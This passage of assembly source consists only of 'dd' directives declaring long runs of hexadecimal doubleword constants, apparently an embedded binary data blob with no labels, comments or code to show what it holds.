dd 83801Bh, 29C026Fh, 4E300018h, 69B132h, 21600B3h, 0A7500CD8h
dd 0D019D600h, 0F99E0BEh, 17802F70h, 3B00DBE0h, 1C00F601h
dd 0F00D3806h, 119C4025h, 152013EAh, 25804EE0h, 0CD003500h
dd 7806DF00h, 8045E012h, 57F00C3h, 30900738h, 0A4A1B781h
dd 19B1378h, 3300560h, 0F507197Ch, 8037F000h, 137807Eh
dd 1EFC030Eh, 2FC01F60h, 0F00A7E00h, 8076803Dh, 6A0007h
dd 0AC0356h, 13B80428h, 76E00D20h, 19802480h, 11805600h
dd 19F23E8h, 5200DFCh, 3C82AAE2h, 1173C066h, 2B00DDC0h
dd 5805EE00h, 0D0075007h, 0E015B00Ch, 1BF0017h, 0E3801E8h
dd 3FC03EF0h, 18033E01h, 3E004801h, 81DC00B7h, 11600FCh
dd 1598052Ch, 138F3CFh, 9E6E14FAh, 0B44031FCh, 4DD6BFD6h
dd 0D8EFB4E7h, 2F001E20h, 11600B80h, 12402A40h, 34600D80h
dd 0C076C4D6h, 8F3C14F3h, 78041C01h, 67E016h, 16803DFh
dd 95801A8h, 33C011F0h, 8045F7E0h, 0A12B00C3h, 9A006B3Eh
dd 0DC007601h, 800CF40Dh, 698064h, 534300D1h, 803DEC4Ch
dd 0E7801Eh, 778049Eh, 9E1B7EC2h, 6B000Dh, 2C0096h, 5300598h
dd 94327860h, 8061C021h, 19E0117h, 0C3C029F8h, 22006D00h
dd 35600780h, 1C8052C0h, 64805480h, 88C01B00h, 0E018EA15h
dd 37803Dh, 1BF00F7Eh, 7C039F80h, 0C011A00Fh, 2008B005h
dd 60092005h, 6019801Ah, 0A1F208h, 11C03F4h, 6700FD8h
dd 10083BD2h, 0E29720Dh, 3E62760h, 0F2B37FF0h, 0E4D1EE32h
dd 0CCA10FD5h, 0E7E00DBh, 11C022F0h, 73700EADh, 6652FB55h
dd 6CCA5CEBh, 0B69BBBAh, 12DA6DB3h, 9979CF76h, 0E5E52D9h
dd 335F7DBBh, 0A00BBED8h, 0DB3EFFBBh, 0ECD7FB60h, 7985FBB0h
dd 0F34BDB06h, 0CB8EEC2h, 23212D83h, 0D8BE3EECh, 1C5FEB60h
dd 0C8B3FF76h, 8FB60h, 0B771BFDFh, 6EF736C1h, 9E07BEFEh
dd 0FB0EEEFBh, 60C7BA2Bh, 0EC27BE2Bh, 0C189627Eh, 0B092D4F6h
dd 0C18576BBh, 0D84561B6h, 0B06A5DDDh, 0DD8696F5h, 6C1B757Fh
dd 0EEC3BBEFh, 0B60D2BBDh, 0F84657E7h, 95FF04AFh, 75F8EE3Ch
dd 0EBB5DB06h, 1ECDFBF8h, 27A66D83h, 83566FECh, 21A736C1h
dd 2DF55EECh, 5BE2AD83h, 649B7761h, 614BB5B0h, 0FEF03BF7h
dd 0DEDB845Eh, 6FCDB06Ch, 0F0DDBCE6h, 0EFBDA55Ch, 1DB06CDFh
dd 97F61CD8h, 4B60DDB2h, 1F761EDBh, 1DB06DDEh, 37DDCDD9h
dd 0DC016401h, 19B00Bh, 0AF71D897h, 0CF8071F8h, 3E417001h
dd 0C0296005h, 3B1F0306h, 55EE0C31h, 5B0055Bh, 0BFA63F00h
dd 67F008h, 771116BCh, 3187E0CBh, 0A36EF5BCh, 0DDE30616h
dd 0D6C191F6h, 634F11F1h, 0B6C180F1h, 8E24601Ch, 0CF177ED9h
dd 3066136Ch, 0B48069DBh, 5A6D986Bh, 1DB302h, 0B32D7798h
dd 7158019Dh, 0F37DB31Dh, 41B667Ah, 0D9912BB8h, 0DE9401CEh
dd 7B6CC0h, 0DB32376Ch, 23E00CFh, 0B3137858h, 4ECC00F5h
dd 8016B662h, 0B6666EBBh, 0B81E01F7h, 75ED985h, 6656E278h
dd 0D99939BBh, 71300AFEh, 54527582h, 0DC66CDC2h, 0EFA7A8ABh
dd 0ADA358FEh, 2A18D63Eh, 8DF32DA7h, 61F9D6B6h, 0D19E70F7h
dd 0DDC79236h, 47E784FFh, 0E13F8800h, 0BA4EDA36h, 0FDC67BF9h
dd 0FBC2DB46h, 0CFE57BF9h, 9FEAB68Ch, 0DB2FC385h, 139B463h
dd 92EBD5DCh, 6FD63516h, 4C6EAA6Ah, 0AC6ED772h, 58C4DFAAh
dd 0A005456Eh, 0BC86AC35h, 7B68D278h, 0B6D194F8h, 96FBC01Bh
dd 7BE4F6D1h, 0C01B5B46h, 27F800Eh, 0E78013EDh, 3EBE0E00h
dd 93FBF696h, 22C7E9Ch, 4F7806DEh, 11FBFC3h, 0FB0C8EE8h
dd 0F57C6BEh, 87F34E7Fh, 0C27A9FE9h, 813F8B68h, 6BB031F9h
dd 0D2ED7AB4h, 71B8A9D4h, 7FE327EEh, 0EADDF699h, 0BC3FA9BEh
dd 0EDED259Bh, 7D3C53DDh, 0B9FDBD1Ch, 0FF76FF1Fh, 0BDB3AFEFh
dd 967B38F8h, 5310DDA5h, 0EEFAC339h, 4DF53FDEh, 0EB277EDDh
dd 6FF4765Ah, 0F38DA71Bh, 0D5C1795Fh, 6FAD3139h, 7EEAFEAh
dd 9FA889FAh, 4E9C7AEBh, 0FF9C76BFh, 94EE7184h, 0E3368D2Fh
dd 66DB4687h, 9E0B7E78h, 0A14D5B49h, 0B7980D2Fh, 0E5F86290h
dd 0C8102FD8h, 0E1C6126h, 0B86926C3h, 53E0AF9Ch, 6B3E0578h
dd 0AC30E1C7h, 0A7A70227h, 8E83E749h, 74E43F1Bh, 0F343BF0Ch
dd 0DB868F7Bh, 8BE1EE07h, 21BF10C6h, 0A0D2FA06h, 61A89591h
dd 8B74119Ch, 0D91B9F7Dh, 0EE30919Ch, 9DEB906Eh, 0C221AFE0h
dd 0DF206DDFh, 4B3F818Fh, 8083BF84h, 0C77F02ABh, 0FB842999h
dd 0BE52E02Bh, 11DDB230h, 18E096F1h, 113CFE00h
dd 1DC044FCh, 22A77E06h, 2E03F6C2h, 8C36C203h, 1EFDFD86h
dd 9F63F7C6h, 7F91DD85h, 0ABF47557h, 1D55FA3Ah, 7E8EAAFDh
dd 7FFF4755h, 2DE7A3A3h, 592BCE2Bh, 0A3BD4F62h, 0B40EAEAAh
dd 6E4225B3h, 1AEE8969h, 0C5AB8B66h, 0B1B1A93Ch, 68E8A37Ah
dd 0DD5F5FACh, 0C55454D4h, 757967AEh, 85D54DF5h, 0EAAB1B95h
dd 0E34CD9AAh, 0EABAEA8Ah, 62EAA6CAh, 6506AC49h, 0BBA34DF1h
dd 0A82C56B2h, 6ED6746Fh, 7AAEAFBCh, 0F56F3AD9h, 0C5DD917Ah
dd 2BAB1AF2h, 9729EE45h, 0F9652B1h, 0BCEAC4A1h, 76B15AC6h
dd 139D657Dh, 6FD6D53Ch, 8A1A2F64h, 5655169Ah, 846C539h
dd 731B10EDh, 92C321D9h, 0CBE6CAEAh, 261AB23Ch, 1BAB146Ch
dd 6B3FC32Fh, 0A808DA28h, 7DABACAh, 0DEB40B2Eh, 8516ACE8h
dd 8DB5CD8Dh, 40371BF5h, 8D955C9Eh, 0EAEB95B5h, 0DD6CDDAAh
dd 41725057h, 283285BFh, 7F7F5DA9h, 51B4BD5Eh, 0A5ADCC64h
dd 0A916A0BCh, 0CAFB9009h, 2C677C2Ah, 0A723CB4Dh, 5770C04Ch
dd 1C4D58E4h, 383437ABh, 940F452Ah, 374607C5h, 0B18293A4h
dd 4777F07Fh, 25736D63h, 6BEA3Eh, 7C034BCBh, 0E2C86326h
dd 8EA92AFAh, 0DCAD2F7Ch, 0C7D8EC00h, 0D50D6586h, 0FD92F51Bh
dd 4ACEA232h, 2AA0903Ch, 0B632A8h, 0D7057E43h, 0A92DA444h
dd 2EAA7287h, 0F5358DAh, 38C47298h, 0D58934B7h, 376A4A1Bh
dd 0ACFDB354h, 7ABAB1A0h, 0C6BAED49h, 0EC2DC6CAh, 0D95FF23Ah
dd 8D8D0A24h, 0DD8C8DF5h, 0AFD779C9h, 6AAAADCFh, 0D8C22684h
dd 0F525866Bh, 7F9A5595h, 0A363F7E0h, 0BABAAEB3h, 560ED81h
dd 0EB52C4A0h, 0FBD04F61h, 22CDEAD2h, 0E49DAF2Fh, 6C6DA82Eh
dd 15AC10D2h, 0B7AD72F9h, 11B6BF29h, 0B89EB0EAh, 0FABCB125h
dd 8D950D0Dh, 0BE940654h, 0CDE9B18Ah, 0EA510A6Dh, 2E435EB0h
dd 15CAEE8Fh, 0A0EBF321h, 0DF809AC4h, 197D0C64h, 83D33B76h
dd 1447D495h, 0C70B2B05h, 9289115h, 0C6EAAEB1h, 2666826h
dd 318C8354h, 50F46E95h, 3612A91Fh, 0C06EAFAFh, 0A12C0816h
dd 1318C2CDh, 8BDE47AAh, 0CF7BE20h, 0AE0D95C5h, 0CB4DEADAh
dd 0A425A86Ah, 0A026B447h, 0DABAF034h, 0B8DD2C67h, 0DFBF8C61h
dd 9E077B40h, 0EFEBF575h, 0CA2088A7h, 0C4D9AAFBh, 6E7D68AFh
dd 6FDA1AB6h, 0EAFAED73h, 0FABCFAA2h, 7D63628Dh, 5A937B1Dh
dd 0E429140Ch, 536B51BCh, 0F53F289Bh, 6A06D275h, 2A1B8D13h
dd 4040F931h, 0D36D7E7Ch, 9C20D8FDh, 0C1EB950Dh, 112A52F3h
dd 88A37D4Fh, 8339A0Dh, 0D5D71618h, 2BACABAFh, 0E500DEAEh
dd 452B14E3h, 0AAC5DA09h, 5721D970h, 6E54A566h, 0ABD885AEh
dd 656379AAh, 0D4BE59EBh, 56BD0750h, 85CC25D4h, 63345ACBh
dd 4C972FE7h, 0C5F40E6Ch, 0EEB04826h, 0AF5E9A67h, 0EC05104Eh
dd 1123585Bh, 9700F6ADh, 89BBBC34h, 0E8DBAC8Dh, 0A5146DAAh
dd 27603ACAh, 0CF62C8A2h, 36981F71h, 0C0ECC0F4h, 0BD71B2A1h
dd 56DB7787h, 0E3D70986h, 0E7722EFEh, 0AB2F4311h, 0D85BA607h
dd 0AEE9C426h, 0EC4ABABCh, 0AD5AF919h, 40A0E16Ah, 2BEC8F5Fh
dd 23BAC66Eh, 4094D8DDh, 18318DBh, 6AE3D13Fh, 26E57797h
dd 1E32B966h, 58CCFC42h, 0A1B8DD52h, 6A386376h, 0E648AAC6h
dd 53406961h, 0A8FD9684h, 813529D1h, 0AD2A924h, 50E52B70h
dd 0AFFCD2Fh, 7750D073h, 7DD1796Bh, 15EE6814h, 0EC61E750h
dd 0A905AA0Ch, 38DC2EAEh, 0B688FCD8h, 2F3366EDh, 5C6E6A97h
dd 0AADF1827h, 1CBF30DCh, 79FC0BC7h, 0A8ED3EF5h, 0C08EC5AFh
dd 0EF5EBC58h, 0AA1A5B25h, 0FBCBBCD9h, 0C3DA8411h, 26A4EA0Ah
dd 3A3F444Fh, 9FFB631h, 0F41FD99Bh, 75B9116h, 57B18BBDh
dd 7DB63775h, 0EEA49676h, 0D1F9DED8h, 0A4C41C78h, 7D8C7084h
dd 5BA8AC6Eh, 5F61A98Fh, 0E03D5BC0h, 0A1548A71h, 0F0A7D495h
dd 239B09B6h, 751588E8h, 37873B5Ah, 0B7821B8Eh, 0EAEAA6BAh
dd 0C867D9FBh, 4FE86485h, 884CCAC6h, 0A061176Dh, 8D4BD41Fh
dd 317F37D8h, 0BB66EDC6h, 79B1B8C7h, 0E30E3D3Dh, 1597B66h
dd 6862F875h, 61F79525h, 8B1BED7Dh, 0A47E7881h, 8DD2EFF5h
dd 0C6607828h, 9097B9A4h, 0E656AE6Bh, 42343342h, 2D4D5F08h
dd 5A681D0Dh, 2A04D35Fh, 0EA9AEB6Bh, 7D7C81EAh, 12E1FC68h
dd 0B1F2ED36h, 7CD908AAh, 638D8FACh, 0B47BAF86h, 0F71227D1h
dd 313291DFh, 7C8A1ABFh, 2FBDC503h, 31B45F12h, 5A95BF84h
dd 922096A0h, 52D0DF4Ch, 54EE3919h, 4AA11D72h, 41EC306Bh
dd 37A9BFDEh, 0EF1BEBB9h, 4101A887h, 617D86C2h, 20892658h
dd 0D7ABF350h, 4685F749h, 1CA1B3DAh, 1B2E1860h, 0E36FFB19h
dd 0EC140E57h, 0B9739425h, 0DEC60E79h, 6F4A4D0h, 76A4B9F0h
dd 188B5423h, 9630E631h, 0C0C28FA3h, 0B2BAB0B9h, 5A6DB181h
dd 0FBE6F09Dh, 8DD60367h, 0BD8CCF5Eh, 56D77463h, 2A79E755h
dd 8BEA4B1Bh, 76B13AA5h, 656816D1h, 8799702Fh, 0BCC90D4Ah
dd 0AD108633h, 0C00F5EA4h, 4C1AEBD6h, 1B321684h, 96A86FA5h
dd 2C5611EFh, 0E55A4215h, 0E5AD062Bh, 1687AA2Ch, 51C1BEF7h
dd 0BAD114DFh, 0AFBC8418h, 6D050616h, 0F94C2B89h, 4D558C1Eh
dd 0D16D4630h, 611EBED6h, 5434F430h, 613DEB8Ah, 9636DF3Fh
dd 6C6E5634h, 0C526C3AAh, 329D8C91h, 84A3A038h, 740EFCFDh
dd 0B4FD1A45h, 2A74B575h, 3C1C4AABh, 0A58C0FD8h, 5810550Dh
dd 0F13C81A7h, 5DD26FD4h, 0EAEF1A46h, 21822BEEh, 0CF5CC18Bh
dd 0CC31E209h, 43584D77h, 6450129h, 0ED75BB30h, 0D42368B7h
dd 5F0E117Eh, 0A5B5A9CCh, 0AF50F5A2h, 0C21BF58Dh, 0E45B0D7Dh
dd 0FBFAFA92h, 15A406A5h, 0D4352155h, 0D42758E2h, 0B2283E45h
dd 6385F7F5h, 0FAB8F4D4h, 3EFF7806h, 0AE74F5D0h, 1DC8B6C2h
dd 2D8CB850h, 0FA26DAD2h, 254E115Bh, 14E3415Bh, 0DBA83374h
dd 0FAE286A3h, 7FBE50E6h, 0EE4CA34Ch, 0DDA0F5FAh, 2425636h
dd 0C9FA7060h, 7B373865h, 6A8B7094h, 72435045h, 2E1163D9h
dd 0B929FB37h, 0AA6E5860h, 89FDCD07h, 0FD9B9708h, 0CF985C8Ch
dd 0A15FF65Ch, 5FB3777h, 6F5717BDh, 0AFD97294h, 0F66EEF42h
dd 0BBD77A6Bh, 97089ECEh, 0C3C93D9Bh, 0F265E06Fh, 9205D854h
dd 0E7A84969h, 6D15C962h, 84F2A2ACh, 0DCAECAh, 0A18D977Eh
dd 0E5C758EAh, 83B4E058h, 0DA343771h, 147E6C71h, 9D9868A6h
dd 0B66E30E3h, 5A235C26h, 0C61958DBh, 7927A92Ch, 8CD70AE0h
dd 0F2C19986h, 0B4EAEB2Ah, 9A95448Ah, 0B7C6937Dh, 3FA8F5FAh
dd 0AF33E42Dh, 86DABABCh, 8D95F575h, 467C3E30h, 0E7774152h
dd 8C958A57h, 4E234BBDh, 0A077D3D8h, 5C5C849Dh, 8336E790h
dd 11EC3B0h, 0EF7A0C1Ch, 0D2051523h, 9EE188F0h, 0DE3ABADAh
dd 7A1DA48h, 872644D6h, 92FA09FDh, 0EE8F81B4h, 0CACE729Ah
dd 6EE3F2B4h, 0D61E551Ch, 32562E7Bh, 318D33FBh, 52CB9A9Ch
dd 0AB1A8E78h, 29846BEFh, 0F668695h, 866E6C80h, 69155B59h
dd 0AD7FA810h, 210E970Eh, 0AB98825Eh, 97B33178h, 0DBD6B470h
dd 4DFB8C3Bh, 92B506Ch, 0FBE4D3E8h, 2C86EE63h, 47D50171h
dd 0FC53D6E9h, 4DAB9277h, 0BFAE365Bh, 53D49AA7h, 0A11D8928h
dd 45A5C4FEh, 34977B15h, 740C2D20h, 0FDB1CAD7h, 4188DA1Dh
dd 62790F93h, 3E515D63h, 0C6E888E8h, 4AE00D49h, 0D891D72Ah
dd 0BD6B0828h, 82D0D5C5h, 0B03D73D7h, 0CF0B61BEh, 81E580A7h
dd 686C2AFh, 0BE591B50h, 959D46EEh, 82935182h, 13636739h
dd 424DA09Fh, 7032248Eh, 24397AACh, 0B58E715Dh, 620C6B15h
dd 83F5D5E7h, 374A9E50h
dd 3547AED6h, 6FCB2F6Fh, 249AD4ACh, 0D5978BE9h, 3E4B3C4h
dd 0FA84A3D9h, 0AB838861h, 9B16A9B6h, 5853A94Ch, 87764BA1h
dd 0CFCE1B36h, 840E7C63h, 0E65CB58Ch, 13835EB2h, 6D45EBA8h
dd 0AEDD8011h, 0BF9A13B5h, 0C30CC889h, 9841B485h, 2D1DE88Fh
dd 3C7FEB97h, 50CA2E60h, 89CE8F1Eh, 1844F8CFh, 0E2CC74D1h
dd 512D22FCh, 9D6EB093h, 7391CD95h, 1BF5F5E4h, 0D3EEEAAAh
dd 1B4FD53h, 0F5EAEA07h, 0D0E66A12h, 0D637D750h, 0CB748036h
dd 0C75F5CAFh, 0F5E1603Eh, 0E0BDCB83h, 0BFA061Ch, 39684375h
dd 2D7441ECh, 0B71BAA97h, 24EB2AB8h, 2358A852h, 820BB0E2h
dd 0C09C4407h, 853694F4h, 483556E6h, 0F408C6C7h, 2E85565Ch
dd 9162399Eh, 3185D6CBh, 0DD1DA3E4h, 0A96C6090h, 0FF20825Ah
dd 362A0A98h, 68EF962Dh, 0F0E9C2BEh, 7C68F1EAh, 6A4DD0EBh
dd 65BCA62Fh, 35A1CA7Ch, 0B9498D37h, 18E4FA1Bh, 0ED73C03Fh
dd 0D0DD78B8h, 20312227h, 73B8C6F7h, 2BBE6E59h, 0D57A1D7h
dd 53D39913h, 6C27575Dh, 94888C86h, 0B0A1674Ch, 26145744h
dd 0C784B81Bh, 69717071h, 0B32A7E51h, 0CCE13F42h, 55B54B16h
dd 7746D278h, 126C6D17h, 26A2372Bh, 0AB2D9A73h, 1DE686ABh
dd 147636AAh, 646AE131h, 5AD575F5h, 0D776360Ch, 0B29CF65Dh
dd 0DC8E95DCh, 32F73995h, 86E313F6h, 1BEB0DEAh, 2C5D7A0h
dd 40281525h, 0A3CA4228h, 300D948h, 0F931FB24h, 0D51A00D9h
dd 4A06F863h, 8C87630Eh, 6236DD20h, 0DBE1DFC0h, 8CB40F7Ah
dd 0D4D8CE7h, 86B17A90h, 3AB882BDh, 245FEED4h, 0ECFC282Ah
dd 3186F4F7h, 0AA2AC1BDh, 0E0ABCF49h, 9DA35F5Ah, 371BBFB1h
dd 0EA226FADh, 0C28DF13Fh, 80A8647Eh, 0F98A5AD7h, 0F58AC453h
dd 0EC81D61Bh, 0C0A869D8h, 66C6FAA9h, 61429A76h, 1BD01FDCh
dd 0F18DD3C6h, 22CE8250h, 8078D28Eh, 3F3E46E2h, 0B10B0232h
dd 0A0CA137Eh, 369B1A3Fh, 0AF660969h, 0D4268FA3h, 308DB2F8h
dd 0CDE2D7D0h, 8439488h, 9B182F4h, 5F046F58h, 3491467Dh
dd 0FD13BF4h, 4331E6D4h, 0CAA6D345h, 0B1896C75h, 58484F86h
dd 2686B1B9h, 1AC6552Eh, 0AD99EA11h, 9CD0D633h, 0A1AC6DC5h
dd 0D3104EE9h, 90FBA944h, 9A698C52h, 84D8AC63h, 7764CE51h
dd 56E14055h, 0A4DEAC6Ch, 560E4C97h, 42DCBCC8h, 1ED11A8h
dd 0AC645355h, 750CA906h, 0A0A3B100h, 4EC51E41h, 128ADE57h
dd 594AC6DEh, 0D4BC0545h, 0DF6F246Fh, 6F685431h, 906D306Bh
dd 54358C6h, 0A71015B6h, 0DBFB401Bh, 7767C950h, 0CA8AB04Fh
dd 24D4AF2Ah, 0D554D456h, 68DE6336h, 0BD73424Ah, 63531423h
dd 0D6CC3375h, 45236DF1h, 977A47FAh, 0CE611A1Ah, 51306F8Eh
dd 9D509F63h, 0AB2E7A71h, 19BCDBC8h, 121C4A46h, 0B19EBD35h
dd 0E6CED029h, 8533308Ah, 0E7D4D444h, 0AE694E4h, 0DEF2B39h
dd 62FADF7Fh, 9F0131DBh, 0D130CDCFh, 9E1D3DF7h, 801EF701h
dd 6F1B007Dh, 3363B035h, 1756FD70h, 0EB4B1508h, 880B75B5h
dd 0C7018A84h, 0B9236958h, 0EAB975B5h, 0EFF57626h, 0BFD5DFEAh
dd 0FF577FABh, 0FD5DFEAEh, 0F577FABBh, 5FBFB2EFh, 0EA6CCABEh
dd 0E16D836Ch, 0BCD831Ah, 0FF9C0320h, 0F5ED832Fh, 4BB60D0Fh
dd 0E0EDA356h, 67EDA329h, 44F95C1Fh, 4AD1EE3Ah, 8B64D5BCh
dd 81BDA003h, 676C98B7h, 0F600FA00h, 0D806EC03h, 0B002D001h
dd 9001C016h, 60009001h, 0D9B81806h, 700E3B64h, 8019E018h
dd 2D009Dh, 25801Eh, 710029h, 17C04923h, 60E00FA0h, 961FDF12h
dd 0EAE096C7h, 0B987BB16h, 0A32B2159h, 4C3DCF4h, 12B27378h
dd 0B11582B6h, 0E0316CA5h, 6612B604h, 118045EDh, 0A8E83E58h
dd 4DD48C25h, 45B02508h, 3088B7E0h, 425F40A5h, 870852F8h
dd 2E4B9161h, 1C4096E0h, 40A420CBh, 5E232E71h, 6D395002h
dd 0D7C9F119h, 7378C1E2h, 50017429h, 0E76F1116h, 0DE8C6915h
dd 8A5C45Ch, 0E394F3C2h, 56DE139Fh, 757F0500h, 172E246Ch
dd 6E53E77Ch, 923BC49Ch, 3C832E16h, 9B73C1F2h, 0A98C784Fh
dd 0FDC77204h, 3177052Fh, 0C72E9E5h, 942977A6h, 86568169h
dd 25687548h, 0AFF4425Ah, 0F4BCE8A2h, 8EB8774h, 0CA02BCF3h
dd 797E172Ah, 45B4C27Ah, 0D8E7C580h, 3473D2BAh, 38F4FEB6h
dd 5A109Ch, 54758AEh, 5715CB94h, 0D61FE1A0h, 0E057D979h
dd 0E733D6C6h, 74E45C5Fh, 0CC5D2D16h, 0DC8285F2h, 6B4025D2h
dd 1AA2B0DCh, 56840FBFh, 999B19DBh, 0C172B192h, 99263702h
dd 75A7AD2Dh, 93DF110Ah, 75569688h, 5494CCC7h, 696E03FEh
dd 1FF0BC01h, 3D94DB0Ah, 15262713h, 99FCDC8Eh, 4F40D955h
dd 5CDD525Ah, 90E4975Dh, 0AED5D5D6h, 8AB5C24Fh, 6732847Bh
dd 54C0AC9h, 0C9657FE4h, 0A5A2DC8Ah, 1516CB05h, 0DD233895h
dd 2FC24BC8h, 2B79650Fh, 112DC84h, 5614EF12h, 801584B8h
dd 0F270B2C1h, 4525BCB7h, 76C852C2h, 441292EEh, 162DCD2Dh
dd 0CB05E858h, 0F20CB722h, 5DC92CEBh, 87C844B2h, 8D566638h
dd 803C61C3h, 6A9B994Bh, 379F4B4Fh, 7733233Fh, 0CE141E51h
dd 0EFBBC2E2h, 58EA5E29h, 0D4A4A2BEh, 46595EE5h, 7EF1BA33h
dd 0ADA55978h, 1FD8C6FCh, 3B843F2Ah, 0E81D8A4Ah, 0D7A63567h
dd 0B82F915Eh, 0A84F28Ah, 790A561h, 0C85253A5h, 0CDE6D352h
dd 53DBB34Fh, 9F9FCEE7h, 0FB0E0A9Eh, 0A5A6705Ch, 379D4BCEh
dd 842E7337h, 9A919B99h, 0CA7E7F3Eh, 9E91F43Ch, 2F399A96h
dd 7A4A6E63h, 7CCA667Ah, 297D49F0h, 5359DA1Bh, 258AE963h
dd 96C50F78h, 931BDC26h, 0E6C4530Bh, 5D373E4Ah, 5A216D24h
dd 6A12C17Eh, 1CCB7918h, 72138245h, 0F94DCCBDh, 84E50BBEh
dd 5459C8B0h, 92BF9022h, 896162A2h, 74B25050h, 5EF43B99h
dd 898A0CB2h, 0B451C5EAh, 0A7E28042h, 0F95E2F2h, 3F44ECE5h
dd 842505B9h, 0B97ADDD7h, 6C3CEFEBh, 0E862543Eh, 4A34959Dh
dd 0AD35ADBCh, 4F82F6A6h, 0CD58D8ADh, 97F61794h, 733EE575h
dd 463AF174h, 3E80DC5Fh, 6B7E2279h, 592C3C84h, 0BB8F7796h
dd 0E2C98490h, 2A62FCFCh, 4B659287h, 5DBCA584h, 0D8CEAB68h
dd 0DCCE60CCh, 18DD5CD8h, 0B9A2C6DAh, 48CD4B19h, 9F619F99h
dd 979CCF6Bh, 2535373Eh, 0BCDE7D33h, 0F9D4F4B4h, 7369E969h
dd 0C0D333D3h, 5A5A6A5Fh, 6E6D3D8Ah, 0FCFB5CDAh, 32F379CCh
dd 19EC32D3h, 33509969h, 0E9F9EE0h, 5A667B74h, 9494FCFAh
dd 8BAA0CB4h, 19A91979h, 409919E9h, 0AA1F3B98h, 37329EC7h
dd 0A7B02205h, 4DCFA5A5h, 669A979Bh, 0DAF9AC67h, 0FF16F717h
dd 90AFF922h, 0FE9969Fh, 0AC161E42h, 0D4BE4686h, 0F8AC2059h
dd 0EFBD9FFh, 0B68A2AC0h, 2414DDDh, 483A1242h, 685A10F1h
dd 0A42F7B61h, 42108101h, 0A4215D0Ah, 9391A4Bh, 8A8BA51Dh
dd 8A8A028Ah, 2A204288h, 89A505Dh, 820A020Ah, 7E28888Ah
dd 28A8A8A0h, 9488A8A8h, 3D9ECCFBh, 7E2049C9h, 0FBDFF7DFh
dd 7F7BBF5Fh, 0DDE64E16h, 0D9D999D9h, 0BCF2DE77h, 11BBB3B3h
dd 28524329h, 56578EFBh, 66717166h, 0E64C6B86h, 0A1495744h
dd 0BC7320ABh, 3D2D3F2Bh, 0D320B727h, 56939E15h, 0AD3E319Ch
dd 1715D338h, 0EEE0EAE3h, 992EBF5Ch, 82415479h, 0F1543942h
dd 479154ECh, 9BC1A5D0h, 0D4DE0E37h, 42ED87FEh, 9346E0FDh
dd 0D3A478DFh, 9E9514C7h, 0AA425C59h, 0C4765E13h, 0AAD1BB2Fh
dd 7AB2F8F2h, 1F1B687h, 65D9C72Dh, 39D857A6h, 0D8B7A5B2h
dd 2BF868B6h, 0F9AB57C2h, 0DA4BAD06h, 21EFC7D8h, 0BA2FF179h
dd 6B0ACCF6h
dd 0EADC5210h, 78479D84h, 4EF10F1Fh, 8A58E48h, 88B9BBF3h
dd 0FAAB749Ch, 805D89Fh, 925F6D9Ah, 0C6A7FAE3h, 2BC2443h
dd 0C727EA41h, 5B775h, 1D90B21Bh, 174FCB6Dh, 12E222FCh
dd 1CDB6CE2h, 91DB0497h, 95CB609Ah, 0BB00C2DDh, 1ED5DEA3h
dd 0A7FA3DD1h, 0FEFD93A5h, 0F93E6384h, 9965B3C8h, 80542908h
dd 37CA20D8h, 0D26CC88Fh, 0DEC894C8h, 44CEEDBDh, 4948480Fh
dd 489F101Ah, 0EA4002EEh, 2406E393h, 8FF6A424h, 697FC8F2h
dd 62EE6D84h, 82F4FA13h, 4A4D8B15h, 194B3184h, 57FA78C4h
dd 196AA335h, 0EEB61CE8h, 0B2D54FE4h, 0F88ED114h, 55A5CF48h
dd 49157F5Dh, 480D2625h, 63622B01h, 0C7C5C57Ah, 0AA8396DAh
dd 0BF6479Ah, 5DC84B8Bh, 0B97BC20Eh, 37684073h, 57E3DAFCh
dd 0DF323F0Fh, 83DC9BD4h, 50599718h, 710C999Ah, 416FB4CAh
dd 4A489D10h, 8789888Eh, 65664782h, 0BA18C5C5h, 69A1AE49h
dd 4DDFE9ECh, 0BB20FF5Bh, 7EB80599h, 14C8BFF8h, 2608CC8Ah
dd 0DCA38B0Fh, 90C906F0h, 3406375Bh, 1A862139h, 51C9328Fh
dd 68C15409h, 470C0BF8h, 13490141h, 5AE87CA8h, 2A24C8FFh
dd 0F1A48F3Fh, 31C298D4h, 0FD01BF54h, 606331A8h, 518723D7h
dd 9A480A63h, 93718D40h, 27BA8E34h, 26FAA28Dh, 73135026h
dd 51C5C691h, 0E388664h, 1B42F7EDh, 97BA7293h, 0D2E3278Ch
dd 0E9D08527h, 4C9D3605h, 236FA145h, 5217E741h, 0FD3EB0D4h
dd 49367729h, 319CA8E3h, 0A543ED24h, 2FC68B0Eh, 8A4D4A8Ah
dd 97908AA3h, 8D43149Ah, 0F701D721h, 3E4B9596h, 4A8BD8AEh
dd 27264C86h, 0A9495145h, 1A4A9FDh, 5C22A883h, 6F4A625Fh
dd 4931746Ah, 0F402A8A3h, 63E213Fh, 0A045D03Fh, 8BF11363h
dd 901746A3h, 20E04A99h, 83322E78h, 6F029719h, 0E54C949Dh
dd 257B0043h, 1E2FC7F5h, 0A2FC68BFh, 9262ACA8h, 39914917h
dd 61E4D8E1h, 0E9DA954h, 8A497F05h, 34931673h, 0D3B34A95h
dd 0CEC8AA64h, 4E482A07h, 90BD2A4h, 0F03F003Dh, 0FBA10274h
dd 2479E953h, 720AA78Dh, 2DEB8A49h, 2A1F6920h, 4A81DC9Bh
dd 0A6654DEEh, 0E517B493h, 58D2471Eh, 236EC32Ah, 0DBB74A86h
dd 6346A68Fh, 0CDFC1F3Fh, 38D1BD45h, 8C4D9917h, 0A514B5C5h
dd 2A923491h, 77644498h, 3C693518h, 0E4530749h, 426C657Eh
dd 0DA42552Ah, 224EBC87h, 0CFD012E5h, 5226921Ch, 40F2EDA3h
dd 0A97D0919h, 0A877D25Ch, 9268F66Bh, 44254702h, 0A54517E3h
dd 48FD9295h, 8A4EAC8Ah, 2FC54D89h, 252BCA99h, 97953C74h
dd 8A68D24Bh, 0C4C779CCh, 0C3915246h, 7630EF80h, 32365113h
dd 66952869h, 17F38A7h, 137B2149h, 8D4C9A49h, 40E9234Dh
dd 0A49F30AAh, 7B7CA803h, 67953FBFh, 91CC871Fh, 0FA926EE7h
dd 9214F751h, 4B1B7D14h, 0E5D8C52h, 1950FB49h, 7E0A4893h
dd 96349365h, 0D24D1BCAh, 768DCA28h, 7BBF1D2h, 6CA3A6EDh
dd 33391A5Eh, 79C589E8h, 58C4DE36h, 0A78D4B0Eh, 7064086h
dd 0F67901C5h, 0C052A24Bh, 2B9C14F7h, 0D298D705h, 575C3F07h
dd 0C87F644Ah, 0C0DB5018h, 7E392A38h, 0FDC9510h, 9F320CC8h
dd 590C9A94h, 4FF5BC83h, 0FBE312A6h, 1BC88951h, 0C7F57E80h
